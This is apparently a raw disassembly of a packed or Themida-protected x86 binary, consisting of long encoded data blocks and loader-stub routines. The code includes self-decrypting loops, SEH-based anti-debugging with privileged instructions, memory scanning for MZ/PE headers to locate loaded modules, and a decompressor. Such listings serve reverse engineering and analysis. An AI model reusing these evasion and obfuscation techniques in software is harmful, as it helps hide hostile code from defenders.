dup(0) dd 391E0000h, 0CFA00A0h, 0F9C455A3h, 0FFEDh, 0 aWpjuf db 'ÝwpJîF',0 align 4 dd 2 dup(0) dd 7C0000h, 5 dup(0) dd 2DF50000h, 36360000h, 3636h, 30DF0000h, 304A9C5h, 7FFEh dd 8B000000h, 860000h, 5Ah, 4 dup(0) dd 0C0000000h, 4Dh, 4 dup(0) dd 0A80000h, 8 dup(0) dd 0C96A0000h, 77D4h, 7 dup(0) dd 2DF50240h, 6180057h, 77E8h, 0 dd 69100000h, 57h, 0B4FE0000h, 53h, 0 dd 0DCDA0000h, 105h, 5 dup(0) dd 10000h, 20000h, 2 dup(0) dd 8B820000h, 535077E7h, 0CD65h, 0FA70000h, 3 dup(0) dd 1B400000h, 76B4h, 10E20000h, 59h, 6 dup(0) dd 97FE0000h, 0F889FFFFh, 0FFFFh, 3040000h, 7FFEh, 4 dup(0) dd 2D390000h, 4FFBh, 6BC60000h, 0BAF7h, 6 dup(0) dd 33510000h, 582Ah, 2 dup(0) dd 0C1D80000h, 57h, 2 dup(0) dd 777B0000h, 0C76h, 0 dd 0FABB0000h, 4 dup(0) dd 3040000h, 7FFEh, 9Eh, 3A9A0000h, 0FFACh, 0 dd 8D8D0000h, 1703Ah, 4 dup(0) dd 0FFB00000h, 15Fh, 0D20B0000h, 0FFFFh, 2 dup(0) dd 23E80000h, 2, 2 dup(0) dd 69DD0000h, 9Fh, 0 dd 0A2600000h, 0BDC10ADBh, 8AD7h, 0Ah dup(0) dd 230000h, 57h, 0 dd 3040000h, 7FFEh, 5 dup(0) dd 6B3D0000h, 2 dup(0) dd 1CC40000h, 0FEA0h, 2 dup(0) dd 68500000h, 0 dd 0FFFD0000h, 5720025Ah, 59h, 0 dd 0D8960000h, 2DF50057h, 33330057h, 2 dup(33333333h) dd 3333h, 2 dup(0) dd 0A8370000h, 77E7h, 3 dup(0) dd 8C0A0000h, 9Fh, 6 dup(0) dd 20000h, 77E7h, 8 dup(0) dd 3040000h, 4 dup(0) dd 0FEF80000h, 97EA005Ah, 53h, 12h dup(0) dd 9F70000h, 9Fh, 0 dd 30DF0000h, 0A9C5h, 0FFB00000h, 16Fh, 3A00000h, 7 dup(0) dd 86840259h, 57h, 2 dup(0) dd 11B00000h, 0A146h, 0 dd 0E93C0000h, 5Ah, 0EED60000h, 0E42Ch, 0 dd 2B0000h, 3 dup(0) dd 35A00000h, 1FA8h, 28970000h, 3040057h, 7FFEh, 0C9850000h dd 0F0CFh, 5 dup(0) dd 0F71D0000h, 5 dup(0) dd 3040000h, 3 dup(0) dd 5B1B0000h, 57h, 80h dup(0) dd 215C0000h, 2, 2 dup(0) dd 59F00000h, 77DDh, 2 dup(0) dd 0FFFF0000h, 0FFFFh, 4 dup(0) dd 10000h, 0D24A0000h, 0EF08h, 8 dup(0) dd 0F6090000h, 0FF60h, 0 dd 39CFh, 4 dup(0) dd 0FA560000h, 9Fh, 9 dup(0) dd 10000000h, 0 dd 2DF50000h, 57h, 6 dup(0) aWW db 'ÔwßÄW',0 align 4 dd 3 dup(0) dd 4ABF0000h, 4F99h, 0 dd 0FFFF0000h, 0D7FFFFh, 3 dup(0) dd 0CC890000h, 1DE70058h, 0E014A9C0h, 7670000Dh, 5Ah, 0 dd 0FFFF0000h, 3A87FFFFh, 56h, 220000h, 0 dd 89330000h, 8818h, 4 dup(0) dd 96230000h, 0FF60h, 0 dd 940000h, 76630000h, 0FFFCh, 2 dup(0) dd 3B770000h, 233C56h, 68990057h, 0DAD5h, 4 dup(0) dd 99950000h, 0A3h, 0Dh dup(0) dd 70F80000h, 7 dup(0) dd 499E0000h, 9E480057h, 77E7h, 2 dup(0) dd 0FF540000h, 12h, 0A00F0000h, 9Fh, 4 dup(0) dd 0EF770000h, 5ECFh, 8 dup(0) dd 0D0210000h, 7CA80056h, 4D718h, 0 dd 11890000h, 255Ah, 8B820000h, 77E7h, 0 dd 180B0000h, 77F5h, 0AEBD0000h, 8DE9h, 0 dd 28Bh, 89200000h, 8248h, 10000h, 6CB80000h, 248h, 10000h dd 0A79D0000h, 0FFA5h, 2 dup(0) dd 0FFB00000h, 11Fh, 5 dup(0) dd 19D60000h, 2 dup(0) dd 3040000h, 7FFEh, 6 dup(0) dd 46100000h, 1DEh, 2 dup(0) dd 94990000h, 9Fh, 0 dd 510D0000h, 2 dup(0) dd 8B610000h, 0FFFFh, 71DC0000h, 0Bh dup(0) dd 0A00F0000h, 9Fh, 17h dup(0) dd 0A28F0000h, 56h, 3 dup(0) dd 189A0000h, 30477DDh, 7FFEh, 3 dup(0) dd 3040000h, 7FFEh, 6 dup(0) dd 258h, 6 dup(0) dd 3040000h, 7FFEh, 77F5h, 3 dup(0) dd 59740000h, 8655h, 2 dup(0) dd 0AF400000h, 0AC5EFFFEh, 77E7h, 0A1B90000h, 0F433h, 9 dup(0) dd 23E80000h, 0A0h, 9E340000h, 77E7h, 6 dup(0) dd 2DF50000h, 57h, 69DD0000h, 598B009Fh, 58h, 2 dup(0) dd 0A28F0000h, 56h, 5E2E0000h, 9Fh, 4 dup(0) dd 0FCFC0000h, 0FFFFh, 0DE190000h, 0FFFF0058h, 7FFFh, 5 dup(0) dd 0FEF80000h, 2005Ah, 0 dd 3040000h, 58h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53C836: ; CODE XREF: start:loc_5394BDj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 6483383h mov [ebp+6482709h], edx mov [ebp+64830C5h], esi mov [ebp+64815B9h], eax cmp dword ptr [ebp+64813D1h], 0 jz short loc_53C86E mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_53C86E: ; CODE XREF: start+5E84Cj mov eax, [esp+40h+var_1C] mov [ebp+6481C4Dh], eax push 45h call sub_53C922 push 783749Ah call sub_53C968 push 0A894B25h call sub_53C968 jmp loc_53CAAC ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_53C922 proc near ; CODE XREF: start+5E866p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 6483471h mov ebx, edx mov [ebp+var_28], 0 loc_53C93E: ; CODE XREF: sub_53C922+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_53C95D mov eax, [ebp+arg_0] mov [ebx+64833DBh], eax inc [ebp+arg_0] inc ebx jmp short loc_53C93E ; --------------------------------------------------------------------------- loc_53C95D: ; CODE XREF: sub_53C922+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_53C922 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_53C968 proc near ; CODE XREF: start+5E870p start+5E87Ap var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 64834BAh lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_53C98E: ; CODE XREF: sub_53C968+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_53C98E mov [ebp+var_84], 0 lea edi, [edx+64833DBh] lea esi, [ebp+var_80] loc_53C9BE: ; CODE XREF: sub_53C968+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_53C9CA: ; CODE XREF: sub_53C968+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_53C9CA imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_53C9BE popa leave retn 4 sub_53C968 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_53CA08 ; --------------------------------------------------------------------------- loc_53CA04: ; CODE XREF: Themida_:0053CA0Bj inc dword ptr [ebp-4] inc esi loc_53CA08: ; CODE XREF: Themida_:0053CA02j cmp byte ptr [esi], 0 jnz short loc_53CA04 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_53CA99 ; --------------------------------------------------------------------------- loc_53CA1A: ; CODE XREF: Themida_:0053CA9Cj mov dword ptr [ebp-8], 0 jmp short loc_53CA90 ; --------------------------------------------------------------------------- loc_53CA23: ; CODE XREF: Themida_:0053CA94j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_53CA7D ; --------------------------------------------------------------------------- loc_53CA33: ; CODE XREF: Themida_:0053CA81j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_53CA55 cmp bl, 39h ja short loc_53CA55 sub bl, 30h jmp short loc_53CA77 ; --------------------------------------------------------------------------- loc_53CA55: ; CODE XREF: Themida_:0053CA49j ; Themida_:0053CA4Ej cmp bl, 61h jb short loc_53CA67 cmp bl, 66h ja short loc_53CA67 sub bl, 61h add bl, 0Ah jmp short loc_53CA77 ; --------------------------------------------------------------------------- loc_53CA67: ; CODE XREF: Themida_:0053CA58j ; Themida_:0053CA5Dj cmp bl, 41h jb short loc_53CA77 cmp bl, 46h ja short loc_53CA77 sub bl, 41h add bl, 0Ah loc_53CA77: ; CODE XREF: Themida_:0053CA53j ; Themida_:0053CA65j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_53CA7D: ; CODE XREF: Themida_:0053CA31j cmp dword ptr [ebp-0Ch], 2 jb short loc_53CA33 cmp dword ptr [ebp-10h], 0 jbe short loc_53CA8D mov eax, [ebp-10h] stosb loc_53CA8D: ; CODE XREF: Themida_:0053CA87j inc dword ptr [ebp-8] loc_53CA90: ; CODE XREF: Themida_:0053CA21j cmp dword ptr [ebp-8], 2 jb short loc_53CA23 add edx, 4 loc_53CA99: ; CODE XREF: Themida_:0053CA18j cmp edx, [ebp-4] jb loc_53CA1A mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53CAAC: ; CODE XREF: start+5E87Fj mov ecx, 7000h lea edi, [ebp+6483600h] loc_53CAB7: ; CODE XREF: start+5EAA7j dec byte ptr [edi] inc edi dec ecx jnz short loc_53CAB7 mov eax, 48692121h mov edx, 0F00DE000h sub edx, 0F0000000h lea eax, [ebp+64836F3h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax movzx ebx, ax call sub_53CAF8 pop esi out dx, eax hlt ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 9 dd 0D245C6F1h ; =============== S U B R O U T I N E ======================================= sub_53CAF8 proc near ; CODE XREF: start+5EAD7p pusha movzx ebx, dx mov edi, 3D04BCF8h popa pop ebx and ebx, 3CD45B9h push ebx jmp loc_53CB1A ; --------------------------------------------------------------------------- db 0CCh dd 361ACE01h, 5F6C5A77h db 1Ah, 2Dh ; --------------------------------------------------------------------------- loc_53CB1A: ; CODE XREF: sub_53CAF8+12j pop ebx sub eax, edx and eax, 0FFFFF000h cmc mov ecx, edx xor edi, edi loc_53CB27: ; CODE XREF: sub_53CAF8+4Aj cmp word ptr [eax], 5A4Dh jnz short loc_53CB3C movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz short loc_53CB44 loc_53CB3C: ; CODE XREF: sub_53CAF8+34j sub eax, 1000h inc edi jmp short loc_53CB27 ; --------------------------------------------------------------------------- loc_53CB44: ; CODE XREF: sub_53CAF8+42j pop large dword ptr fs:0 add esp, 4 lea edx, [ebp+6483706h] push edx push large dword ptr fs:0 mov large fs:0, esp add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_53CB7E mov esi, [eax+1Ch] loc_53CB7E: ; CODE XREF: sub_53CAF8+81j xor eax, eax loc_53CB80: ; CODE XREF: sub_53CAF8+9Bj cmp eax, 32h jz short loc_53CBA4 cmp word ptr [esi], 5A4Dh jz short loc_53CB95 loc_53CB8C: ; CODE XREF: sub_53CAF8+AAj sub esi, 10000h inc eax jmp short loc_53CB80 ; --------------------------------------------------------------------------- loc_53CB95: ; CODE XREF: sub_53CAF8+92j mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_53CBE6 jmp short loc_53CB8C ; --------------------------------------------------------------------------- loc_53CBA4: ; CODE XREF: sub_53CAF8+8Bj pop large dword ptr fs:0 add esp, 4 popa retn ; --------------------------------------------------------------------------- dd 244C8B51h, 0B0A98110h, 0 dd 59000010h, 51C3C033h, 10244C8Bh, 0E855h, 815D0000h dd 483711EDh, 0CF858D06h, 89064836h, 0B881h, 33595D00h db 0C0h, 0C3h ; --------------------------------------------------------------------------- loc_53CBE6: ; CODE XREF: sub_53CAF8+A8j xchg eax, esi pop large dword ptr fs:0 add esp, 4 or bl, 12h push 0 push ebp call sub_53CBFF and [ebp-3Dh], bl sub_53CAF8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_53CBFF proc near ; CODE XREF: sub_53CAF8+FFp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_53CBFF endp ; --------------------------------------------------------------------------- db 0Ch dd 8B604221h, 0FCF9810Fh, 0FD98C66h, 0B8Ch, 6E900h, 0BDBC0000h dd 12C484AFh, 6A04E180h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 57BC351h, 6D8F10EDh dd 66C9DB11h, 0ADE4CBBh, 19850FC9h, 80000000h, 85C797CBh dd 64830E5h, 1, 32E9F9h, 0C3810000h, 7B2CE98Bh, 30E585C7h dd 648h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 1021CAC3h, 0AF78033h, 0ED58589h dd 89F90648h, 4829A985h, 13E806h, 0A7600000h, 87AF3642h dd 1DCA3B67h, 7BB53DFh, 5AC8A335h, 63E6B847h, 0F85B598Ch dd 717EC381h, 0D8810000h, 261ABEA0h, 68h, 0E8BF6600h, 348B5920h dd 0F7DA810Bh, 81209965h, 62D326F6h, 2890F4Bh, 8A000000h dd 80F681E2h, 8B38F16Bh, 7BF681C2h, 0E9391DC2h, 9, 0EDBE148Dh dd 4AB636FBh, 0B34897Ch, 4A329ABFh, 9FB8664Eh, 2E98322h dd 0D08B6651h, 0E9494958h, 7, 97CAD5F6h, 816A8C32h, 0FF8F14F9h dd 9F850FFFh, 0BFFFFFFFh, 7A8C68DAh, 7DBE9h, 6810F00h dd 1000000h, 480D3995h, 21706h, 0E9600000h, 8, 0B21E254Eh dd 9814573Bh, 6719EE81h, 60616700h, 0D8501F8h, 2B06482Ch dd 548BF9C0h, 0F9602824h, 27DDB58Bh, 89610648h, 48108585h dd 840F6006h, 6, 15C58589h, 0BD8B0648h, 6482BF9h, 0CE961h dd 9F690000h, 0BAD45E56h, 0AB7E4356h, 3CBE9CCEh, 89000000h dd 480CCD8Dh, 24740306h, 78F0F24h, 0F000000h, 187h, 0AD66F900h dd 6800Fh, 8D890000h, 64815B5h, 24244403h, 9850Fh, 0F9600000h dd 0B6D6DE81h, 5061029Ah, 0EE860h, 87A10000h, 7AB257F9h dd 8B2167ADh, 9BFACB3Eh, 14E8h, 2E63DA00h, 74422DC9h, 0FA330B23h dd 0ACF63B33h, 8D1ABFE2h, 0BE585BBAh, 288ADF10h, 24048961h dd 3D99529h, 408B0648h, 12E96078h, 3B000000h, 8C03D348h dd 0A4CA7045h, 75E7CAC5h, 0D23E006Ch, 0B59D89EFh, 61064810h dd 28244403h, 0DDBD8B60h, 8A064821h, 8A0F61D0h, 6, 135D9589h dd 408B0648h, 858B6018h, 6483071h, 31018D8Bh, 40610648h dd 6830Fh, 95310000h, 648155Dh, 178B0Fh, 12E90000h, 9F000000h dd 4A9FED1Ah, 2043209Bh, 4992795Bh, 6FEC608h, 0A08589CEh dd 0F8064838h, 0DB58B60h, 89064831h, 4800958Dh, 9586106h dd 481879B5h, 0F800F06h, 0E9000000h, 0Ah, 5911FB06h, 0B7E403ABh dd 708B3890h, 9D896078h, 6480959h, 999589h, 83610648h dd 89601CC6h, 482E59B5h, 0F5B58906h, 6106481Bh, 24247403h dd 15498589h, 0BD8D0648h, 6481AC1h, 27898D89h, 89AD0648h dd 48040DB5h, 24440306h, 0C840F24h, 0F000000h, 686h, 870F00h dd 0AB000000h, 0C31B589h, 0BD8D0648h, 64832D9h, 0F19D2960h dd 8906480Ah, 480869B5h, 31AD6106h, 4809E195h, 8B666006h dd 21B58BDEh, 61064808h, 24244403h, 2BDD9501h, 0BD010648h dd 6481791h, 5E950h, 0B8240000h, 8931B65Fh, 9E92404h, 8F000000h dd 0C37A5041h, 35A7D9F3h, 0B70F60ABh, 0D5BD01C1h, 61064805h dd 6DBD8B60h, 66064810h, 887BD981h, 81BD8D61h, 0FC064808h dd 6870FADh, 29000000h, 4832AD9Dh, 24440306h, 2D9D8928h dd 0AB064807h, 11E9h, 95F85900h, 5FFC12B3h, 9AED572Ah dd 8756B42h, 295E1CA2h, 481B6995h, 0A08DFF06h, 83064838h dd 4838A0BDh, 10750006h, 1C2444C7h, 0 dd 3E00B58Dh, 0E6FF0648h, 4403AD56h, 8B972824h, 0F9858ADFh dd 8406480Fh, 3A0474C0h, 574C7507h, 75AEC032h, 0FB2B5EFDh dd 0C933FC52h, 33D18B49h, 0ACDB33C0h, 0CD8AC132h, 0D68AEA8Ah dd 0D16608B6h, 0D8D166EBh, 35660973h, 81665041h, 0FE5449F3h dd 33EB75CEh, 4FD333C8h, 0D2F7D575h, 0C28BD1F7h, 6610C0C1h dd 3B5AC18Bh, 5E0F74D0h, 0FF04C683h, 48108585h, 0FF6FE906h dd 95EFFFFh, 481C71BDh, 0E98D8906h, 8B06481Eh, 48108585h dd 89BD8906h, 0D106480Dh, 8503FCE0h, 6480881h, 0DE9h, 8D0FC700h dd 0D81FA2DDh, 0C1E7669Ch, 0BEE409h, 89000000h, 480EF195h dd 8A0F9606h, 16h, 0CE860h, 59100000h, 0C53C2A4h, 0E7B61DEBh dd 525BB651h, 0AD666159h, 5E9h, 1A80FF00h, 0E0C14468h dd 0B5896002h, 64804B5h, 67A1BF66h, 8503FC61h, 6481AC1h dd 0EE960h, 55490000h, 7B1D8EE2h, 515947D0h, 86BE5F30h dd 15CDBD8Bh, 96610648h, 14758529h, 0F8AD0648h, 24244C8Bh dd 0AE9h, 4C171B00h, 31BE10B6h, 345785Bh, 0F242444h, 68Fh dd 49853100h, 0F506480Eh, 1C244489h, 13798D89h, 66600648h dd 893F9DBBh, 48075985h, 0E9966106h, 10h, 0E90DFACDh, 0B271FFB7h dd 56CD6F04h, 436693Ch, 14E9ACh, 0F7020000h, 40253057h dd 9C7326D9h, 4529B533h, 0A1C70A4Bh, 0E8606FB5h, 0Bh, 0B731C262h dd 8A4EBED7h, 66C8321Bh, 594B92B8h, 9F1958Bh, 32610648h dd 9D3160C9h, 6483169h, 10E9h, 0CD8C6B00h, 0E4BDDB25h dd 9CEE46F9h, 62A25EBCh, 0C1FE6156h, 0A718589h, 9D890648h dd 6482A89h, 830FD0D0h, 0EDh, 11E9h, 9F7ECF00h, 0B50FFF15h dd 7723C0EDh, 9D9C85A1h, 8A0F6B82h, 6, 15E5B531h, 0D0D00648h dd 0C3830Fh, 800F0000h, 1, 0FD0D0F5h, 0B482h, 6880F00h dd 89000000h, 480D8995h, 0FD0D006h, 0A082h, 85016000h dd 648325Dh, 10840Fh, 0BE90000h, 74000000h, 0F727BC7h dd 9527608Eh, 2961E358h, 483089B5h, 0FC9FE06h, 0FFFF7F89h dd 0D830FFFh, 60000000h, 29059D23h, 0A4BA0648h, 616C13C0h dd 0E920C483h, 10h, 0B29D4C14h, 0DEAD7B38h, 33337277h dd 0EF773182h, 501BD89h, 44C70648h, 0FC24h, 95890000h dd 6482359h, 9399D89h, 1B80648h, 29000000h, 4822E185h dd 868D8D06h, 60064872h, 294D952Bh, 0BD010648h, 64829BDh dd 0E1FFF961h, 141D9D89h, 8B0F0648h, 1, 0F985C6F5h, 6480Fh dd 0FE961F5h, 84000000h, 72D06081h, 0E138F886h, 0EDC6C929h dd 8C2BE93h, 69950900h, 96064833h, 13E95250h, 92000000h dd 0EE7599D8h, 645A7F51h, 0EDE3E1F2h, 7854EECEh, 310F7594h dd 6810Fh, 8A0F0000h, 0 dd 6050585Ah, 0CE8h, 0CAD02800h, 0B9D4704h, 39FE03E5h dd 6E806h, 0F1920000h, 0DEE6C739h, 66605F5Ah, 0C18BFB8Bh dd 60966161h, 8F59D8Bh, 85890648h, 6481EEDh, 15B58961h dd 89064840h, 480D05B5h, 4C8D8906h, 0F064840h, 684h, 0B5953100h dd 89064804h, 480B91B5h, 11B58D06h, 2906483Fh, 4821C18Dh dd 35858D06h, 0F005B7Eh, 0C85h, 68A0F00h, 29000000h, 48288DBDh dd 0DE906h, 61650000h, 0FE23B902h, 509D0A59h, 0FFE23AA6h dd 699D89D0h, 5E06481Ah, 13CD8D89h, 8D290648h, 6481055h dd 14E9C3h, 0A8CC0000h, 0FB333A91h, 7E7C64CCh, 0D5C7BE2Eh dd 0A560DCE1h, 0B58B8822h, 6484015h, 7E9h, 88522F00h, 6D85E878h dd 4C8D8BFCh, 89064840h, 48119D85h, 60C02B06h, 6E59D89h dd 8B610648h, 858589D9h, 0E9064822h, 0B8h, 9E9h, 3C924A00h dd 73E2D805h, 2632C618h, 1820Fh, 0B2F50000h, 71858902h dd 0E9064813h, 63h, 60C232FCh, 2EBD9589h, 0CCBE0648h, 614C2B35h dd 751D7A05h, 0D995898Ah, 89064828h, 4809E59Dh, 0FCC8A06h dd 68Eh, 0A1B58900h, 0D3064828h, 4235FCC8h, 0F98D108h dd 682h, 0C19D8900h, 0FE06480Ah, 7E960CAh, 77000000h, 88B74C46h dd 8D893AA7h, 6480CE5h, 5E961h, 0A6D90000h, 0AF21421h dd 96850FD2h, 60FFFFFFh, 42DA8166h, 0A9958912h, 61064801h dd 68B0F4Bh, 29000000h, 48275995h, 89604606h, 481F09B5h dd 39F08106h, 6149C506h, 850FDB0Bh, 0FFFFFF4Eh, 810FCFF9h dd 6, 2ADD9529h, 648h, 1F800Fh, 0E9600000h, 12h, 0AC70F745h dd 1E462994h, 23345BEDh, 0F02E184Bh, 0BD8911AFh, 6482281h dd 60000061h, 3221BD23h, 0B5010648h, 6482B51h, 0E9000061h dd 0Ch, 362BBC37h, 75D45FE6h, 0BC2251BBh, 820F0000h, 8 dd 2800Fh, 61600000h, 38BA858Dh, 0BE90648h, 96000000h dd 91287E6Eh, 3D4961BAh, 858924C8h, 6482755h, 0C880Fh dd 810F0000h, 6, 860Fh, 858D0000h, 6483E26h, 108F0Fh, 830F0000h dd 0Ah, 5E9h, 1EB34100h, 85893FF0h, 6480041h, 10E8h, 74792500h dd 5CD6C10h, 0B35FDB0Fh, 0ECBB9ADCh, 25E28198h, 5F6DAEF1h dd 5973C781h, 0BF0F0000h, 0B8CAh, 958B0000h, 6481BF1h dd 8A3834FFh, 0B70F5EDAh, 7DF681D9h, 6613D5D0h, 81ACEEBAh dd 0E3E676F6h, 51E1814Eh, 810A24D0h, 9E4398EEh, 7D8D3127h dd 5606480Ah, 48FC0B5h, 0BD9D8B07h, 52064817h, 4721BA66h dd 3E8835Bh, 0DE848h, 4B7F0000h, 8EDCD64h, 0EB5660Ah, 894770F8h dd 4802058Dh, 0F8815906h, 0FFFFA720h, 0FF9A850Fh, 9509FFFFh dd 6480EDDh, 14EBh, 3 dup(0) dd 8B0000h, 858D0000h, 6484231h, 4CD8589h, 0BD830648h dd 6484169h, 3D840F00h, 0C6000001h, 480FF985h, 4E85606h dd 39000000h, 50D41F6Dh, 424448Bh, 4489008Bh, 0FF580424h dd 480ED5B5h, 0BA858D06h, 0FF064838h, 5D8589D0h, 0C6064841h dd 480FF985h, 37685606h, 81DD5DB9h, 1652434h, 0B5FF41F5h dd 6480ED5h, 38BA858Dh, 0D0FF0648h, 41618589h, 46A0648h dd 4E8h, 100000h, 448B5000h, 8B0424h, 4244489h, 6D858B58h dd 5064841h, 1F4h, 9002E0C1h, 6A9050h, 416195FFh, 85890648h dd 6484165h, 0FFB8D88Bh, 0FFFFFFFFh, 4804CD95h, 0FFC38B06h dd 4804CD95h, 96E906h, 0BD830000h, 6484169h, 1850F00h dd 0C3000000h, 65BD8B57h, 0AB064841h, 41658583h, 5F040648h dd 69BD83C3h, 64841h, 1850Fh, 60C30000h, 4165AD83h, 8B040648h dd 4841659Dh, 0FC7B8306h, 26850FFFh, 0E8000000h, 4, 8000h dd 24448B50h, 89008B04h, 58042444h, 33FF006Ah, 415D95FFh dd 0C3610648h, 26E9h, 4E800h, 80000000h, 8B500000h, 8B042444h dd 24448900h, 6A5804h, 95FF33FFh, 648415Dh, 4165AD83h dd 0E9040648h, 0FFFFFF9Fh, 1ADE948h, 8B600000h, 8B242474h dd 0FC28247Ch, 68A80B2h, 47078846h, 2BBh, 0FD20200h, 585h dd 46168A00h, 830FD212h, 0FFFFFFE2h, 850FD202h, 5, 1246168Ah dd 6A830FD2h, 33000000h, 0FD202C0h, 585h, 46168A00h, 830FD212h dd 12Ah, 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h dd 0D2124616h, 0D202C013h, 5850Fh, 168A0000h, 13D21246h dd 0FD202C0h, 585h, 46168A00h, 0C013D212h, 6840Fh, 2B570000h dd 5F078AF8h, 0BB470788h, 2, 0FFFF70E9h, 1B8FFh, 0D2020000h dd 5850Fh, 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h dd 820FD212h, 0FFFFFFDEh, 1BBC32Bh, 0F000000h, 3485h, 1B900h dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 2BF78B56h, 5EA4F3F5h dd 0FFFF08E9h, 0E0C148FFh, 46068A08h, 1B9E88Bh, 2000000h dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h, 5850Fh dd 168A0000h, 0FD21246h, 0FFFFDE82h, 7D003DFFh, 830F0000h dd 22h, 5003Dh, 0E820F00h, 41000000h, 2BF78B56h, 5EA4F3F0h dd 0FFFEB4E9h, 7FF883FFh, 3870Fh, 0C1830000h, 0F78B5602h dd 0A4F3F02Bh, 0FE9BE95Eh, 68AFFFFh, 0C0C93346h, 840F01E8h dd 17h, 8B02D183h, 0F78B56E8h, 0A4F3F02Bh, 1BB5Eh, 76E90000h dd 2BFFFFFEh, 8928247Ch, 611C247Ch, 0BA0008C2h, 929h, 9D3E9h dd 0F4E96200h, 38F8500Eh, 0F66C7441h, 2BD109E2h, 402EF40Ch dd 0ADE2297Ch, 6CFC5E14h, 2AE76654h, 0F4CF3FCBh, 34BA5B03h dd 0A47B6649h, 2CC318B1h, 2F65FB49h, 0A7E8591Fh, 60FD4300h dd 28E76606h, 0F4CC30CDh, 2BBA4103h, 0A4647C54h, 37DD04AFh dd 446BEF5Eh, 0B0A46D7Ch, 2DEC4304h, 3DA96754h, 0F4DA24CDh dd 2AF5471Ah, 0AA647254h, 63h dup(0) dd 0F4E96200h, 24F45A07h, 0A47B7C52h, 3FDF13B2h, 526F75Eh dd 0E2F7687Ah, 22FD5503h, 31E67506h, 0A68835CCh, 24F45B1Fh dd 0ED297448h, 37C941ACh, 566BE459h, 0A7F07A6Bh, 41921E0Ch dd 25EC7F76h, 0F48434D1h, 22F65B1Fh, 0ED297747h, 2AD641B6h dd 486BFB43h, 0B0EB6477h, 22F91018h, 21FB3342h, 0A6C925D1h dd 22E3151Eh, 0F4296153h, 2AD70EB0h, 65FB4Dh, 48h dup(0) dd 0F4E96200h, 2EFB4709h, 0A37B764Dh, 37C441B1h, 4D6BFA43h dd 0A0A47A73h, 6CF65504h, 2AFC7C40h, 0A1DA71C6h, 23F35B04h dd 0EA603341h, 2DDF18E2h, 5C38B65Eh, 0AFE17D61h, 1C953A4Fh dd 37E8764Ah, 0A1887DC7h, 2CF55904h, 0F0603342h, 37C207E2h dd 4026B641h, 0BBF6667Fh, 28F65141h, 37EC6106h, 0A0DA30D6h dd 38F54C4Ah, 0F6793354h, 39C206ADh, 0B841h, 61h dup(0) dd 0BDEE6200h, 2EBA5006h, 0F17B6149h, 3CD515B2h, 716BB80Dh dd 0E2F7607Ah, 2BF74211h, 64E47254h, 0F4DB30CAh, 23FF5008h dd 0EA687E06h, 34C511ABh, 412EE24Dh, 0A6EA6832h, 35F95D41h dd 49837644h, 0A78F25CBh, 2BF45C4Ah, 0E17D7043h, 21D241A6h dd 736BF70Ch, 0B1F17B7Bh, 6CEA5F41h, 27E86145h, 0FACC34C9h dd 